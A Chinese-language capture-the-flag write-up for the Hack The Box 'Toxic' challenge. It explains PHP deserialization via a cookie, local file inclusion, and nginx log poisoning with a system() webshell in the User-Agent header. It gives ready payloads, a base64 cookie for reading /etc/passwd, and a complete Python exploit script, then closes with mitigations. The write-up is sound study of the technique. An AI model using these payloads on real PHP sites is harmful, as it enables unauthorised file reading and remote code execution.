HTB Challenge: Toxic

PHP Deserialization + LFI

UMPIRE Analysis

1. U (Understand) - 理解與分析

目標:透過提供的 PHP 源碼分析漏洞,取得 RCE 並讀取 Flag。

首先,我們查看整個專案的資料結構:

Source Code Analysis: 主要邏輯位於 index.php

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

以及 /Model/PageModel.php

<?php
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
} 

關鍵發現: 1. spl_autoload_register(): 這是一個自動載入機制。可以把它想像成「小北百貨的店員」,當你需要的類別(Class)還沒載入時,PHP 會自動呼叫這個函數幫你找(例如問店員「電風扇在哪?」他告訴你在 13 號櫃位)。 2. unserialize($cookie): 在 index.php 結尾,直接對 User 傳來的 Cookie 進行了 Base64 解碼與反序列化,且完全沒有過濾。 3. __destruct() & include(): PageModel 類別有一個解構子(Magic Method),在物件銷毀時會執行 include($this->file)


2. M (Match) - 匹配核心漏洞

根據上述分析,我們匹配到了兩個經典的漏洞模式:

  1. PHP Object Injection (反序列化注入): 由於 unserialize() 的輸入可控(來自 Cookie),我們可以注入任意的 PHP 物件。在這裡,我們的目標是 PageModel 類別。

  2. LFI (Local File Inclusion)PageModel__destruct 方法使用了 include(),且路徑變數 $this->file 是我們可以透過反序列化控制的。

攻擊思路鏈 (Attack Chain)Untrusted Cookie -> unserialize() -> PageModel Object Created -> Script End -> __destruct() -> include($this->file) -> LFI / RCE


3. P (Plan) - 擬定攻擊計畫

我們的執行步驟如下:

  1. Payload Construction: 構造一個惡意的序列化 PageModel 物件,將 $file 屬性指向我們想要讀取的路徑。
  2. LFI Verification: 先嘗試讀取 /etc/passwd 確認漏洞存在。
  3. Log Poisoning Strategy:
    • 由於 include 可以執行 PHP 代碼(如果檔案內容包含 <?php ... ?>)。
    • 我們確認 Web Server 是 Nginx,標準日誌路徑為 /var/log/nginx/access.log
    • 我們可以在 HTTP請求的 User-Agent Header 中寫入 PHP Webshell 程式碼。
    • 這樣 Nginx 就會把惡意代碼寫入 access.log
  4. Trigger RCE: 再次利用 LFI 去 include 那個被毒化的 /var/log/nginx/access.log,觸發代碼執行。

4. I (Implement) - 實作 exploit

Step 1: 驗證 LFI (/etc/passwd)

原始的 Cookie Base64 Decode 後長這樣:

O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}

我們將其修改為讀取 /etc/passwd

O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}

Base64 Encode 後注入 Cookie:

Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=

結果成功讀取:

Step 2: 自動化 Exploit 腳本 (Python)

我撰寫了一個 Python 腳本來自動化「構造 Payload」與「發送請求」的過程。

import requests
import sys
import base64
import os

Target_URL = "http://94.237.58.137:49125/" 
Bad_DATA = "/var/log/nginx/access.log" # 目標指向 Nginx Log
Class_name = "PageModel" 
CMD_TO_RUN = "ls /"
MALICIOUS_PHP = f"<?php system('{CMD_TO_RUN}');?>"

def generate_php_serialized_payload(Class_name, Property_Key, Property_value):
    # 手動構造 PHP 序列化字串
    # format: O:length:"ClassName":count:{s:length:"key";s:length:"value";}

    Class_len = len(Class_name)
    Key_len = len(Property_Key)
    Value_len =len(Property_value)

    payload = f'O:{Class_len}:"{Class_name}":1:{{s:{Key_len}:"{Property_Key}";s:{Value_len}:"{Property_value}";}}'
    return payload 

def exploit_rce(url, log_path):
    # Phase 1: Log Poisoning
    # 將 PHP 代碼塞入 User-Agent,讓 Server 寫入 access.log
    poison_headers ={
        "User-Agent": MALICIOUS_PHP
    }

    try:
        requests.get(Target_URL, headers=poison_headers, timeout=5)
        print("[+] Posiosn payload sent to access.log")
    except Exception as e:
        print(f"[!] Poison fail: {e}")
        return

    print("-" * 50)

    # Phase 2: LFI to Trigger RCE
    # 構造指向 access.log 的序列化 Payload
    searialized_string = generate_php_serialized_payload(Class_name, "file", log_path)
    base64_payload = base64.b64encode(searialized_string.encode('utf-8')).decode('utf-8')

    print(f"[+] Serialized strings:{searialized_string}")
    print(f"[+] Base64 payload:{base64_payload}")

    # Inject Cookie
    cookie = {
        "PHPSESSID": base64_payload
    }

    try:   
        response = requests.get(Target_URL, cookies=cookie, timeout= 5)
        print(f"[+] Server response status:{response.status_code}")

        # 檢查是否有命令執行的結果 (例如 flag)
        print("-" * 50)
        print(response.text[:500] + "...") # 顯示部分結果
    except requests.exceptions.RequestException as error:
        print(f"Request error: {error}")

if __name__ == "__main__":
    exploit_rce(Target_URL, Bad_DATA)

5. R (Review) - 驗證結果

LFI 測試: 成功存取 /var/log/nginx/access.log 確認路徑正確。

毒化與 RCE: 我們將 <?php system('ls');?> 放入 User-Agent。 執行腳本後,我們在回應中看到了 ls 的結果!

取得 Flag: 修改指令讀取 Flag,成功拿到 Flag。 酷喔!


6. E (Evaluate) - 評估與結語

  • Root Cause: 開發者直接將用戶可控的輸入 ($_COOKIE) 傳遞給危險函數 unserialize(),且魔術方法 __destruct 中使用了 include
  • Impact: 攻擊者可讀取任意檔案 (LFI),並透過日誌毒化升級為遠端代碼執行 (RCE)。
  • Mitigation (修復建議):
    1. 避免反序列化: 不要對不可信的輸入使用 unserialize,推薦改用 json_decode / json_encode 來傳遞資料。
    2. 完整性檢查: 如果必須使用序列化,應加上 HMAC 簽章 (Signature) 來驗證數據未被篡改。
    3. 輸入驗證: 對於 include 的參數進行嚴格的白名單檢查,不允許包含路徑遍歷字符 (../) 或絕對路徑。
Ko-fi logo Buy me a coffee